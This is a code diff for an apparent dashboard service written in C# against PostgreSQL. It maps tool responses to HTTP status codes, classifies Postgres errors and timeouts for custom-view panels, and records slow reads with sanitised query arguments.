+        if (ClassifyToolResponse(result) is ToolResponseKind.JsonPassthrough or ToolResponseKind.Refusal)
+        {
+            try
+            {
+                var status = JsonNode.Parse(result) is JsonObject envelope ? TryGetString(envelope, "status") : null;
+                if (status is "conflict" or "confirm_required")
+                {
+                    return StatusCodes.Status409Conflict;
+                }
+            }
+            catch (JsonException)
+            {
+                /* Not a shape the cores produce; the mute-rule mapping below answers it. */
+            }
+        }
+
+        var mapped = MuteRuleEnvelopeStatus(result, successStatus);
+        if (mapped != successStatus)
+        {
+            return mapped;
+        }
+
+        /* Allow-list: only a known success status answers 2xx; a status a future verb adds is a 500 until it is
+           mapped here, never a silent 200. */
+        try
+        {
+            var status = JsonNode.Parse(result) is JsonObject envelope ? TryGetString(envelope, "status") : null;
+            return status is "created" or "updated" or "unchanged" or "deleted" or "assigned" or "unassigned"
+                ? successStatus
+                : StatusCodes.Status500InternalServerError;
+        }
+        catch (JsonException)
+        {
+            return StatusCodes.Status500InternalServerError;
+        }
+    }
+
+    /// <summary>The envelope pass-through the server-tag routes share: <see cref="MuteRuleToolResult"/>'s error
+    /// handling (the caught-exception sentence never reaches the wire) with <see cref="ServerTagEnvelopeStatus"/>'s
+    /// status.</summary>
+    internal static IResult ServerTagToolResult(string result, string route, ILogger logger, long elapsedMs, int successStatus = StatusCodes.Status200OK)
+    {
+        var kind = ClassifyToolResponse(result);
+        if (kind is ToolResponseKind.ServerError)
+        {
+            return ServerErrorResult(McpHelpers.ErrorMessageOf(result), route, logger, elapsedMs);
+        }
+
+        var httpStatus = ServerTagEnvelopeStatus(result, successStatus);
+        return kind is ToolResponseKind.JsonPassthrough or ToolResponseKind.Refusal
+            ? Results.Text(result, "application/json", statusCode: httpStatus)
+            : ErrorResult(McpHelpers.ErrorMessageOf(result), httpStatus);
+    }
+
+    /// <summary>Reads the raw request body text — what the mute-rule cores parse themselves, so the web layer
+    /// adds no parse of its own to drift from theirs.</summary>
+    private static async Task<string> ReadBodyAsync(HttpContext context)
+    {
+        using var reader = new StreamReader(context.Request.Body);
+        return await reader.ReadToEndAsync(context.RequestAborted);
+    }
+
+    /// <summary>
+    /// Maps a mute-rule verb's returned string onto the HTTP status the web surface answers with, leaving the
+    /// body untouched: <c>invalid</c> → 400, <c>not_found</c> → 404, <c>already_exists</c> → 409 (#4734: a create
+    /// that repeats a rule already in force is a conflict, the status the views and custom-rule routes give theirs;
+    /// the body is still the verb's envelope, carrying the existing rule's id), any other envelope (created /
+    /// updated / unchanged / deleted) → <paramref name="successStatus"/>; the cores' caught-exception envelope
+    /// (<c>McpHelpers.FormatError</c>, <c>{"status":"error", ...}</c>) → 500 (classified by
+    /// <see cref="ClassifyToolResponse"/>, like the read surface, and BEFORE the status switch below so the
+    /// failure word is never read as a verb outcome); any other bare string is a shape the cores do not produce and maps to the client-correctable
+    /// 400 for the reason the read surface's mapping does. <c>unchanged</c> deliberately shares the success
+    /// code: it is the retry-safe "already so" answer, and the envelope's own <c>status</c> field carries the
+    /// distinction a caller might act on. Pure, so the whole table pins without a server.
+    ///
+    /// <para>Since #3739 the <c>invalid</c> → 400 arm is answered by the classifier's <c>Refusal</c> kind — the
+    /// same recognizer the read surface uses, so the two surfaces cannot disagree about the word — and the
+    /// <c>"invalid"</c> case in the parsed switch below is kept as the belt-and-braces for an envelope that was
+    /// serialized some other way (whitespace, a different key order) and so missed the prefix test.</para>
+    /// </summary>
+    internal static int MuteRuleEnvelopeStatus(string result, int successStatus = StatusCodes.Status200OK)
+    {
+        switch (ClassifyToolResponse(result))
+        {
+            case ToolResponseKind.ServerError:
+                return StatusCodes.Status500InternalServerError;
+            case ToolResponseKind.Refusal:
+            case ToolResponseKind.ClientError:
+                return StatusCodes.Status400BadRequest;
+        }
+
+        try
+        {
+            var status = JsonNode.Parse(result) is JsonObject envelope ? TryGetString(envelope, "status") : null;
+            return status switch
+            {
+                "invalid" => StatusCodes.Status400BadRequest,
+                "not_found" => StatusCodes.Status404NotFound,
+                "already_exists" => StatusCodes.Status409Conflict,
+                _ => successStatus,
+            };
+        }
+        catch (JsonException)
+        {
+            /* A '{'-leading string that does not parse is not a shape the cores produce — refuse to claim
+               success over a body nobody can read. */
+            return StatusCodes.Status500InternalServerError;
+        }
+    }
+
+    /// <summary>The envelope pass-through the mute-rule routes share: the verb's own body, verbatim, under the
+    /// status <see cref="MuteRuleEnvelopeStatus"/> assigns — a refusal (<c>invalid</c>) included, which is the
+    /// shape the read surface adopted from here in #3739.
+    ///
+    /// <para><b>#4283: the ServerError arm never puts the tool's caught-exception text on the wire.</b> Classified
+    /// FIRST, before <see cref="MuteRuleEnvelopeStatus"/> ever runs, and answered through
+    /// <see cref="ServerErrorResult"/> exactly as <see cref="ToHttpResult"/> answers the read surface's — logged
+    /// ONCE, the body a fixed message, 503 when the sentence carries a caught statement_timeout's 57014 token,
+    /// 500 otherwise. Any other error (a bare non-JSON string) is still wrapped as <c>{"error": sentence}</c>.</para>
+    /// </summary>
+    internal static IResult MuteRuleToolResult(string result, string route, ILogger logger, long elapsedMs, int successStatus = StatusCodes.Status200OK)
+    {
+        /* #4348: swept first, like ToHttpResult. A mute rule echoes the pattern it was given, which can be a statement. */
+        var swept = DarlingWebStatementSweep.Apply(result);
+        if (swept.Refused) return DarlingWebStatementSweep.Refusal(route, logger, elapsedMs);
+        result = swept.Text;
+
+        var kind = ClassifyToolResponse(result);
+        if (kind is ToolResponseKind.ServerError)
+        {
+            return ServerErrorResult(McpHelpers.ErrorMessageOf(result), route, logger, elapsedMs);
+        }
+
+        var httpStatus = MuteRuleEnvelopeStatus(result, successStatus);
+        return kind is ToolResponseKind.JsonPassthrough or ToolResponseKind.Refusal
+            ? Results.Text(result, "application/json", statusCode: httpStatus)
+            : ErrorResult(McpHelpers.ErrorMessageOf(result), httpStatus);
+    }
+
+    /// <summary>The discriminated outcome of <see cref="RunComposedPanelAsync"/>: the <c>{sql, rows,
+    /// annotations}</c> payload on success, or an error the caller maps onto its own surface (HTTP status /
+    /// MCP envelope). <see cref="IsServerError"/> distinguishes a client-correctable error — a bad spec or a
+    /// bounded query failure (statement_timeout / Postgres error), i.e. HTTP 400 — from an unexpected internal
+    /// failure (HTTP 500). <see cref="Fault"/> (#4283 review round 1, M1) rides along on a BadRequest for a
+    /// PostgresException the panel author cannot act on — the real exception, so the WEB endpoint mapping can
+    /// answer it through the same backstop as an uncaught one; <see cref="Error"/>/<see cref="IsServerError"/>
+    /// stay what they always were either way, so run_custom_view_panel's MCP answer never changes.
+    /// <see cref="AuthorSqlState"/> (#4293 round 2) is set only on the author-actionable PostgresException arm,
+    /// so the web log line can name the SQLSTATE without re-deriving it.</summary>
+    internal readonly record struct ComposeRunOutcome(JsonObject? Payload, string? Error, bool IsServerError, PostgresException? Fault = null, string? AuthorSqlState = null, bool IsNotFound = false)
+    {
+        /// <summary>W13: the scoped server is not registered and nothing is stored under its name. The MCP tool answers <c>not_found</c>, the web route 404.</summary>
+        internal static ComposeRunOutcome NotFound(string error) => new(null, error, false, null, null, true);
+
+        internal static ComposeRunOutcome Ok(JsonObject payload) => new(payload, null, false);
+
+        internal static ComposeRunOutcome BadRequest(string error) => new(null, error, false);
+
+        internal static ComposeRunOutcome BadRequest(string error, PostgresException fault) => new(null, error, false, fault);
+
+        internal static ComposeRunOutcome AuthorQueryError(string error, string? sqlState) => new(null, error, false, null, sqlState);
+
+        internal static ComposeRunOutcome ServerError(string error) => new(null, error, true);
+    }
+
+    /// <summary>#4283 review round 1 (M1): the PostgresException SQLSTATEs a Custom Views panel author can act
+    /// on by editing their own panel — a statement_timeout cancel, or a class-22/class-42 error other than
+    /// 42501 (insufficient_privilege, which names a STORE role problem, not the panel), or (#4605) a 53400
+    /// <c>configuration_limit_exceeded</c> — the viewer/mcp role's <c>temp_file_limit</c> refusing the panel's
+    /// own on-disk spill, which the author fixes the same way they fix a statement_timeout cancel: narrow the
+    /// panel. Everything else (28P01 auth failure, 53300 too-many-connections, 57P01 admin shutdown, 3D000
+    /// unknown database, ...) is a STORE fault the author cannot fix.</summary>
+    internal static bool IsComposeRunAuthorActionable(string? sqlState) =>
+        sqlState == "57014"
+        || sqlState == ReadOutcomeClassifier.ConfigurationLimitExceeded
+        || (sqlState is { Length: 5 } && sqlState.StartsWith("22", StringComparison.Ordinal))
+        || (sqlState is { Length: 5 } && sqlState.StartsWith("42", StringComparison.Ordinal) && sqlState != "42501");
+
+    /// <summary>#4605: the caller-facing text for a composed read the viewer/mcp role's <c>temp_file_limit</c>
+    /// refused (SQLSTATE 53400) — named separately from the generic "Query failed: {MessageText}" text
+    /// (#4283) because the store's own wording ("temporary file size exceeds temp_file_limit") names an
+    /// internal setting the panel author has no way to change; this names the ACTIONS they can take
+    /// instead.</summary>
+    internal const string TempFileLimitExceededMessage =
+        "This panel needed more temporary disk space than a dashboard read may use. Narrow the time window, choose an hourly or daily grain, or add a filter.";
+
+    /// <summary>Seconds the WEB compose path adds to the resolved <c>compose_statement_timeout_seconds</c> when it
+    /// sets the client <c>CommandTimeout</c>, so the server's 57014 (recorded as Timeout, with the actionable
+    /// text) arrives before Npgsql's own client timer fires. The client deadline is then a backstop for a server
+    /// that never answers. The client deadline still fires first in two cases, and the outcome is Timeout in
+    /// both: pooled sessions keep an older, higher <c>statement_timeout</c> after an operator lowers
+    /// <c>compose_statement_timeout_seconds</c> (the new value takes effect on each role's next session), and the
+    /// owner-login fallback has no server-side <c>statement_timeout</c>, so the client deadline is the only bound.
+    /// The MCP <c>run_custom_view_panel</c> caller passes no headroom and keeps its equal-deadline race; either
+    /// side's timeout answers the same statement-timeout text there, because it passes the remap flag too.</summary>
+    internal const int ComposeClientDeadlineHeadroomSeconds = 5;
+
+    /// <summary>W13: the plain message for a composed run whose scope names only unregistered servers and whose rows hold no value,
+    /// else null. <paramref name="unregistered"/> is <see cref="ComposeServerScope.FindUnregisteredAsync"/>'s answer. When the registry
+    /// lookup itself failed (<paramref name="lookupFailed"/>) that answer is every name, a fallback and not a finding, so the message
+    /// is null and the run keeps the old empty answer. The check covers only the run's window, and the text says so.</summary>
+    internal static string? UnknownServerMessage(IReadOnlyList<string>? scope, IReadOnlyList<string>? unregistered, JsonNode? rows, bool lookupFailed = false)
+    {
+        if (lookupFailed) return null;
+        if (scope is null || scope.Count == 0 || unregistered is null) return null;
+        if (!scope.All(name => unregistered.Contains(name, StringComparer.Ordinal))) return null;
+        var hasValue = rows is JsonArray array
+            && array.Any(row => row is JsonObject o && o.Any(property => property.Value is not null));
+        if (hasValue) return null;
+        var names = string.Join(", ", scope.Select(n => "'" + DarlingHttpRefusalLog.Sanitize(n, 128) + "'"));
+        return scope.Count == 1
+            ? $"No server named {names} is registered, and nothing is stored under that name in this time range."
+            : $"No server named {names} is registered, and nothing is stored under those names in this time range.";
+    }
+
+    /// <summary>The client <c>CommandTimeout</c> for a composed query whose server-side statement_timeout is
+    /// <paramref name="serverSeconds"/>, with <paramref name="headroomSeconds"/> of headroom.</summary>
+    internal static int ComposeClientDeadlineSeconds(int serverSeconds, int headroomSeconds) => serverSeconds + headroomSeconds;
+
+    /// <summary>The caller-facing text of a composed read cancelled by the statement timeout, whether the server's
+    /// 57014 or the client's own timer got there first.</summary>
+    internal const string StatementTimeoutText = "Query failed: canceling statement due to statement timeout";
+
+    /// <summary>Raised by the compose runners when Npgsql's own client timer fires inside
+    /// <c>ExecuteReaderAsync</c> or the row <c>ReadAsync</c> loop of a connection that was already open. The
+    /// original <see cref="NpgsqlException"/> rides as the inner exception. Two cases look the same to the driver
+    /// and both become this marker: a stalled send of the query (the write timeout is the command's
+    /// <c>CommandTimeout</c>), and a pooled connection whose peer went away, whose first I/O happens inside
+    /// <c>ExecuteReaderAsync</c>. A failure to open the connection never becomes this marker (see
+    /// <see cref="ComposeStoreOpenException"/>). One limit: with <c>Multiplexing=true</c> in a bring-your-own
+    /// store connection string, a connect failure surfaces from <c>ExecuteReaderAsync</c> and becomes this
+    /// marker; the managed store's connection string does not set it (Npgsql's default is off).</summary>
+    internal sealed class ComposeStatementClientTimeoutException : Exception
+    {
+        internal ComposeStatementClientTimeoutException(NpgsqlException inner)
+            : base(inner.Message, inner)
+        {
+        }
+    }
+
+    /// <summary>Raised when a compose runner cannot open its store connection (pool wait, DNS, TCP connect, TLS or
+    /// startup or login exchange). The original exception rides as the inner exception: an
+    /// <see cref="NpgsqlException"/>, or the bare <see cref="TimeoutException"/> the driver throws when a first-time
+    /// setup wait ends (#5016). No statement ran, so this is never a statement timeout.</summary>
+    internal sealed class ComposeStoreOpenException : Exception
+    {
+        internal ComposeStoreOpenException(Exception inner)
+            : base(inner.Message, inner)
+        {
+        }
+
+        /// <summary>True when the open failed with a driver exception only after the connection <c>Timeout</c> had elapsed
+        /// (see <see cref="PostgresOpenTimeout.IsTimedOutByClock"/>), whatever shape the driver wrapped the failure in.</summary>
+        internal bool FailedAfterTimeout { get; init; }
+
+        /// <summary>The driver exception this wraps, for classification only (never for answer text).</summary>
+        internal Exception Cause => InnerException!;
+    }
+
+    /// <summary>Opens a compose runner's store connection, before any statement runs. An <see cref="NpgsqlException"/>
+    /// from the open (other than a <see cref="PostgresException"/> the server sent at login), or a bare
+    /// <see cref="TimeoutException"/> (the driver's wait for a data source's first-time setup, #5016), is raised as
+    /// <see cref="ComposeStoreOpenException"/>. A cancellation propagates unchanged: it is the caller's.</summary>
+    private static async Task<NpgsqlConnection> OpenComposeConnectionAsync(
+        NpgsqlDataSource postgres, System.Threading.CancellationToken cancellationToken)
+    {
+        var timeout = OpenTimeoutOrZero(postgres);
+        var started = Stopwatch.StartNew();
+        try
+        {
+            return await OpenComposeConnectionCoreAsync(postgres, cancellationToken);
+        }
+        catch (ComposeStoreOpenException open)
+        {
+            /* The shape rules in PostgresOpenTimeout.IsTimedOutOpen miss a timeout that tore the socket down under the driver
+               (an aborted read on a loaded runner). Elapsed time covers that without guessing the shape. */
+            if (PostgresOpenTimeout.IsTimedOutByClock(open.Cause, started.Elapsed, timeout, cancellationToken.IsCancellationRequested))
+            {
+                throw new ComposeStoreOpenException(open.Cause) { FailedAfterTimeout = true };
+            }
+
+            throw;
+        }
+    }
+
+    /// <summary>The data source's open <c>Timeout</c>, read before the open so a parse failure cannot replace the open's
+    /// own error; zero (the clock rule off) when the string cannot be read.</summary>
+    private static TimeSpan OpenTimeoutOrZero(NpgsqlDataSource postgres)
+    {
+        try
+        {
+            return TimeSpan.FromSeconds(new NpgsqlConnectionStringBuilder(postgres.ConnectionString).Timeout);
+        }
+        catch (ArgumentException)
+        {
+            return TimeSpan.Zero;
+        }
+    }
+
+    private static async Task<NpgsqlConnection> OpenComposeConnectionCoreAsync(
+        NpgsqlDataSource postgres, System.Threading.CancellationToken cancellationToken)
+    {
+        try
+        {
+            return await postgres.OpenConnectionAsync(cancellationToken);
+        }
+        catch (NpgsqlException ex) when (ex is not PostgresException)
+        {
+            throw new ComposeStoreOpenException(ex);
+        }
+        catch (TimeoutException ex)
+        {
+            throw new ComposeStoreOpenException(ex);
+        }
+    }
+
+    /// <summary>The generic-exception arm of the compose runner, pulled out so a test runs it. When
+    /// <paramref name="remapClientTimeout"/> is true (the web route and the MCP <c>run_custom_view_panel</c>
+    /// caller), a client timer that fired while the statement executed
+    /// (<see cref="ComposeStatementClientTimeoutException"/>) is the same event as the server's 57014, so it
+    /// records Timeout and answers with the same text; with the flag false it stays a server error carrying the
+    /// original message. A failure to open the store connection (<see cref="ComposeStoreOpenException"/>) is
+    /// never a statement timeout: it answers a server error whose text says whether the open timed out, and is
+    /// logged at Error with the original message.</summary>
+    internal static ComposeRunOutcome FromRunException(Exception ex, bool remapClientTimeout = false)
+    {
+        if (ex is ComposeStatementClientTimeoutException marker)
+        {
+            return remapClientTimeout
+                ? ComposeRunOutcome.AuthorQueryError(StatementTimeoutText, CollectorFaultCancelOrigin.QueryCanceled)
+                : ComposeRunOutcome.ServerError($"Error running query: {marker.InnerException!.Message}");
+        }
+
+        if (ex is ComposeStoreOpenException open)
+        {
+            /* #5016: whether an open timed out is not the driver's one shape (a read timeout, an expired budget, a connect, a
+               pool wait, the GSS step's wrapper and a bare TimeoutException all differ), so the chain is walked in one helper. */
+            return PostgresOpenTimeout.IsTimedOutOpen(open.InnerException!) || open.FailedAfterTimeout
+                ? ComposeRunOutcome.ServerError($"Error running query: could not get a store connection in time: {open.InnerException!.Message}")
+                : ComposeRunOutcome.ServerError($"Error running query: could not open a store connection: {open.InnerException!.Message}");
+        }
+
+        return ComposeRunOutcome.ServerError($"Error running query: {ex.Message}");
+    }
+
+    /// <summary>#4293 round 2 (R2-L1, R2-L2): the compose runner's PostgresException decision, pulled out of the
+    /// catch so a test runs it. <see cref="IsComposeRunAuthorActionable"/>'s SQLSTATEs count only at ERROR
+    /// severity: a FATAL or PANIC is a connection-level store fault whatever its class (a startup parameter the
+    /// server rejects answers FATAL 22023 or 42704, which names the configured setting and its value).</summary>
+    internal static ComposeRunOutcome FromPostgresException(PostgresException ex) =>
+        ex.SqlState == ReadOutcomeClassifier.ConfigurationLimitExceeded && ex.InvariantSeverity is not ("FATAL" or "PANIC")
+            ? ComposeRunOutcome.AuthorQueryError(TempFileLimitExceededMessage, ex.SqlState)
+            : IsComposeRunAuthorActionable(ex.SqlState) && ex.InvariantSeverity is not ("FATAL" or "PANIC")
                 ? ComposeRunOutcome.AuthorQueryError($"Query failed: {ex.MessageText}", ex.SqlState)
                 : ComposeRunOutcome.BadRequest($"Query failed: {ex.MessageText}", ex);
 
@@ -1101,10 +2608,16 @@ internal static ComposeRunOutcome FromPostgresException(PostgresException ex) =>
     /// <para><paramref name="readLatency"/> (#4782) is the read-latency seat this run is recorded into: the web
     /// route passes the one its own <see cref="MapAll"/> call built, the MCP tool the one its host registered.
     /// Null records nothing (a test calling the runner directly).</para>
+    ///
+    /// <para><paramref name="includeDataStartFields"/> adds the data-start sentence and the instants it names beside
+    /// <c>notice</c> (<see cref="WebDataStartNote.AddComposedPanelInstants"/>), so the page can write the sentence again
+    /// in the browser's zone. Only the web route sets it; the MCP tool leaves it off, so its client reads the sentence
+    /// once, in <c>notice</c>.</para>
     /// </summary>
     internal static async Task<ComposeRunOutcome> RunComposedPanelAsync(
         NpgsqlDataSource postgres, JsonObject body, System.Threading.CancellationToken cancellationToken,
-        ReadLatencyRecorder? readLatency = null)
+        ReadLatencyRecorder? readLatency = null, int clientDeadlineHeadroomSeconds = 0, bool remapClientTimeout = false, bool includeDataStartFields = false,
+        Action<Exception>? onRunException = null, DateTime? nowUtc = null)
     {
         /* #4442 scope 2: recorded ONCE per call, here, so the web /api/compose/run route and the MCP
            run_custom_view_panel tool -- both of which call this ONE runner -- contribute exactly one
@@ -1114,8 +2627,10 @@ run_custom_view_panel tool -- both of which call this ONE runner -- contribute e
            a bucket update is the only work in the try, and any failure there is swallowed and logged at
            Debug, exactly like the web loop's own recording. */
         var stopwatch = Stopwatch.StartNew();
-        var outcome = await RunComposedPanelCoreAsync(postgres, body, cancellationToken);
-        RecordComposeLatency(readLatency, body, outcome, stopwatch.ElapsedMilliseconds, cancellationToken);
+        using var readScope = ReadScope.Open(readLatency?.Logger);
+        readScope.Scope.CaptureStatements = true;
+        var outcome = await RunComposedPanelCoreAsync(postgres, body, clientDeadlineHeadroomSeconds, remapClientTimeout, includeDataStartFields, cancellationToken, readLatency?.Logger, onRunException, nowUtc);
+        RecordComposeLatency(readLatency, body, outcome, stopwatch.ElapsedMilliseconds, cancellationToken, readScope.Fallback, readScope.Scope);
         return outcome;
     }
 
@@ -1140,14 +2655,87 @@ private static void RecordWebReadLatency(ReadLatencyRecorder recorder, string na
         }
     }
 
-    private static void RecordComposeLatency(ReadLatencyRecorder? recorder, JsonObject body, ComposeRunOutcome outcome, long elapsedMs, System.Threading.CancellationToken cancellationToken)
+    /// <summary>The query string as slow-read arguments. A key name is caller text: only plain identifier characters
+    /// ([A-Za-z0-9_.-]) are stored, capped at 64; any other key is dropped and counted under <c>_dropped_keys</c>. A key that
+    /// repeats is stored as a JSON array of its values in the order sent; a key sent once is a plain value.</summary>
+    internal static JsonObject WebQueryArguments(IEnumerable<KeyValuePair<string, string?>> query)
+    {
+        var arguments = new JsonObject();
+        var droppedKeys = 0;
+        foreach (var (key, value) in query)
+        {
+            if (!key.All(c => c is (>= 'A' and <= 'Z') or (>= 'a' and <= 'z') or (>= '0' and <= '9') or '_' or '.' or '-'))
+            {
+                droppedKeys++;
+                continue;
+            }
+
+            var stored = key.Length > 64 ? key[..64] : key;
+            if (!arguments.TryGetPropertyValue(stored, out var existing))
+            {
+                arguments[stored] = value;
+            }
+            else if (existing is JsonArray repeated)
+            {
+                repeated.Add(value);
+            }
+            else
+            {
+                /* A key sent more than once records every value, in the order sent, so the record shows the request as it
+                   was made (#5245); a key sent once stays a plain value. */
+                arguments[stored] = new JsonArray(existing?.DeepClone(), JsonValue.Create(value));
+            }
+        }
+
+        if (droppedKeys > 0)
+        {
+            arguments["_dropped_keys"] = droppedKeys;
+        }
+
+        return arguments;
+    }
+
+    /// <summary>The composed-panel route label: <c>compose:</c> plus the panel's source when the catalog knows it,
+    /// else <c>compose:unknown</c>, held to 120 characters.</summary>
+    internal static string ComposeRouteLabel(JsonObject body)
+    {
+        var route = body["panel"] is JsonObject panel && panel["source"] is JsonValue sourceValue
+            && sourceValue.TryGetValue<string>(out var source) && MeasureCatalog.IsKnownSource(source)
+            ? "compose:" + source
+            : ComposeUnknownRouteLabel;
+        return route.Length > 120 ? route[..120] : route;
+    }
+
+    /// <summary>Offers a slow or failed <c>/api/read/*</c> call to the slow-read record (#5097): the query string, as sent,
+    /// becomes the arguments. Never throws into the request.</summary>
+    private static void OfferWebSlowRead(ReadLatencyRecorder recorder, ReadScope scope, string name, ReadOutcome outcome, long elapsedMs, HttpContext context, string? errorClass)
+    {
+        if (recorder.SlowReads is null || !recorder.SlowReads.ShouldRecord(outcome, elapsedMs))
+        {
+            return;
+        }
+
+        try
+        {
+            /* One pair per value, so a key sent more than once keeps every value (WebQueryArguments folds them into an array);
+               a key with no value at all (a bare ?key) is one null pair, as before. */
+            var arguments = WebQueryArguments(context.Request.Query.SelectMany(q => q.Value.Count > 0
+                ? q.Value.Select(v => new KeyValuePair<string, string?>(q.Key, v))
+                : [new KeyValuePair<string, string?>(q.Key, null)]));
+
+            recorder.SlowReads.Offer(scope, ReadSurface.Web, name, outcome, elapsedMs, arguments, errorClass, recorder.Logger);
+        }
+        catch (Exception ex)
+        {
+            recorder.Logger?.LogDebug(ex, "Slow-read recording failed for /api/read/{Route}.", name);
+        }
+    }
+
+    private static void RecordComposeLatency(ReadLatencyRecorder? recorder, JsonObject body, ComposeRunOutcome outcome, long elapsedMs, System.Threading.CancellationToken cancellationToken, ReadFallback? noted = null, ReadScope? scope = null)
     {
         try
         {
-            var measureKey = body["panel"] is JsonObject panel && panel["source"] is JsonValue sourceValue
-                && sourceValue.TryGetValue<string>(out var source) && !string.IsNullOrEmpty(source)
-                ? "compose:" + source
-                : ComposeUnknownRouteLabel;
+            var measureKey = ComposeRouteLabel(body);
 
             /* Payload => Ok. outcome.Fault carries the real PostgresException for a store fault the panel
                author could not have caused -- classified the same way the web loop classifies any exception.
@@ -1170,7 +2758,17 @@ the caller's own token already explains it. */
                                 ? ReadOutcome.Cancelled
                                 : ReadOutcome.Error;
 
-            recorder?.Accumulator?.Record(ReadSurface.Compose, measureKey, readOutcome, elapsedMs);
+            var resolved = ReadScope.Resolve(readOutcome, noted);
+            recorder?.Accumulator?.Record(ReadSurface.Compose, measureKey, resolved, elapsedMs);
+
+            /* #5097: a slow or failed run also becomes a slow-read row. The panel body is the arguments. */
+            if (scope is not null && recorder?.SlowReads is { } slowReads && slowReads.ShouldRecord(resolved, elapsedMs))
+            {
+                var errorClass = outcome.Fault is not null ? SlowReadLog.ErrorClassOf(outcome.Fault)
+                    : outcome.AuthorSqlState is { Length: > 0 } sqlState ? sqlState
+                    : resolved == ReadOutcome.Error ? "compose_error" : null;
+                slowReads.Offer(scope, ReadSurface.Compose, measureKey, resolved, elapsedMs, body.DeepClone() as JsonObject, errorClass, recorder.Logger);
+            }
         }
         catch (Exception ex)
         {
@@ -1179,9 +2777,12 @@ the caller's own token already explains it. */
     }
 
     /// <summary>The compile-and-run body <see cref="RunComposedPanelAsync"/> wraps with latency recording --
-    /// unchanged from before #4442 scope 2 added the wrapper.</summary>
+    /// unchanged from before #4442 scope 2 added the wrapper. <paramref name="logger"/> is the one the host's
+    /// read-latency recorder carries (<see cref="ReadLatencyRecorder.Logger"/>), where the data-start probe reports
+    /// a failure it swallows.</summary>
     private static async Task<ComposeRunOutcome> RunComposedPanelCoreAsync(
-        NpgsqlDataSource postgres, JsonObject body, System.Threading.CancellationToken cancellationToken)
+        NpgsqlDataSource postgres, JsonObject body, int clientDeadlineHeadroomSeconds, bool remapClientTimeout, bool includeDataStartFields, System.Threading.CancellationToken cancellationToken,
+        ILogger? logger = null, Action<Exception>? onRunException = null, DateTime? nowUtc = null)
     {
         if (body["panel"] is not JsonObject panel)
         {
@@ -1226,7 +2827,9 @@ misses nothing legitimate. */
            An explicit window is an explicit request, so violations REJECT rather than silently sliding an
            endpoint. NowUtc stays the real wall clock either way — routing and the partial-window notice
            measure age from now, never from a historical window's end. */
-        var now = DateTime.UtcNow;
+        /* The optional nowUtc is a test seam (a live test anchors the whole run at one instant); every caller in the service
+           passes nothing, so production reads the real clock exactly as before. */
+        var now = nowUtc ?? DateTime.UtcNow;
         DateTime start;
         DateTime end;
         var hasWindowStart = body["windowStart"] is not null;
@@ -1279,17 +2882,84 @@ endpoint. NowUtc stays the real wall clock either way — routing and the partia
            a connection. Only checked for a panel that actually reads query_store_stats; every other panel
            pays nothing extra. */
         var wideResolution = plan!.Measure.SourceTable == "query_store_stats"
-            ? await ResolveQueryStoreWideEligibleAsync(postgres, serverScope, start, end, hasWindowEnd ? end : (DateTime?)null, cancellationToken)
+            ? await ResolveQueryStoreWideEligibleAsync(postgres, serverScope, start, end, hasWindowEnd ? end : (DateTime?)null, cancellationToken, plan)
             : default;
         var queryStoreWideEligible = wideResolution.Eligible;
 
-        var runContext = new ComposeRunContext(serverScope, start, end, values, rollups, now, coverage, queryStoreWideEligible, wideResolution.WideStart);
+        /* #5582: a wide-table read the daily summary says cannot finish inside the statement timeout is refused here, in
+           milliseconds, before any fact row is read. Both callers of this runner (the web endpoint and the MCP tool
+           run_custom_view_panel) get it, because it lives in the shared body. Fails open: no built day, or a fault in
+           the lookup, never refuses. The range passed is the one the wide table is read for. */
+        DateTime? stampThrough = null;
+        if (queryStoreWideEligible)
+        {
+            var countedStart = wideResolution.WideStart is { } wideReadStart && wideReadStart > start ? wideReadStart : start;
+            var limit = QueryStoreWideReadGuard.LimitFor(ComposeCompiler.RankedTimeSeriesScansFactRowsTwice(plan!, start, end, wideResolution.GroupMembers));
+            /* #5582 part 3: the hours the rollup answers count at ComposeLimits.StampRowWeight, but only when this panel's text really reads
+               the rollup. A panel it cannot serve compiles to the wide-table text, and keeping the stamp-through would under-count it. */
+            if (wideResolution.StampThrough is not null
+                && ComposeCompiler.ReadsStampRollup(plan!, new ComposeRunContext(serverScope, start, end, values, rollups, now, coverage, true, wideResolution.WideStart, QueryStoreStampThrough: wideResolution.StampThrough)))
+            {
+                stampThrough = wideResolution.StampThrough;
+            }
+
+            if (await QueryStoreWideReadGuard.CheckAsync(postgres, serverScope, countedStart, end, logger, cancellationToken, limit, stampThrough) is { } tooBig)
+            {
+                return ComposeRunOutcome.BadRequest(tooBig);
+            }
+        }
+
+        /* #5525: the scoped names that no registry row carries. The compiler scopes by server_id and keeps matching those names on the
+           row's stored server_name, so a scope over a name that was never registered keeps matching what it matched before (a scoped name
+           that IS registered means the server the registry holds under it now: see ComposeCompiler.ServerScope). Resolved here, before the hourly-edges snapshot below
+           takes its connection, so this lookup never asks the pool for a second one while the snapshot holds the first. */
+        var registryLookupFailed = false;
+        var unregisteredServers = await ComposeServerScope.FindUnregisteredAsync(postgres, serverScope, cancellationToken, logger, () => registryLookupFailed = true);
+
+        /* #4605: only a panel the hourly-plus-raw-edges route could serve pays for the count guard. It runs on one
+           connection, in a REPEATABLE READ READ ONLY transaction the panel statement shares, so a collector batch that
+           commits after the guard cannot add a row the guard never saw. Every other panel opens its own connection
+           inside RunComposedQueryAsync, exactly as before. */
+        var hourlyEdgesCandidate = ComposeSourceRouter.HourlyRawEdgesCandidate(plan!, now, start, end, rollups, coverage);
+        /* The candidate path resolves the compose deadline FIRST, so the run never holds the snapshot's connection while it asks the
+           pool for a second one (at the pool's size, every panel would hold one and wait for another). The same value is the panel's
+           client deadline and bounds the guard. The other path resolves it inside the try below, as it always has. */
+        int? candidateComposedSeconds = null;
+        HourlyEdgesSnapshot? hourlyEdgesSnapshot = null;
+        if (hourlyEdgesCandidate is not null)
+        {
+            candidateComposedSeconds = await McpCommandDeadlines.ResolveComposedQuerySecondsAsync(postgres, cancellationToken);
+            try
+            {
+                hourlyEdgesSnapshot = await BeginHourlyEdgesSnapshotAsync(postgres, hourlyEdgesCandidate, serverScope, candidateComposedSeconds.Value, plan!.UsesModuleJoin, cancellationToken, unregisteredServers);
+            }
+            catch (PostgresException ex)
+            {
+                /* A login-time server error (53300 too-many-connections, 28P01, 57P01, 3D000) escapes OpenComposeConnectionAsync
+                   unwrapped. It is answered as the panel's own failed open is answered in the main try below. */
+                return FromPostgresException(ex);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                /* The snapshot's own open failed (ComposeStoreOpenException included): the store is not reachable, which is the same
+                   fault, and the same answer, as the panel's own open failing in the try below. Same seam, same outcome. */
+                onRunException?.Invoke(ex);
+                return FromRunException(ex, remapClientTimeout);
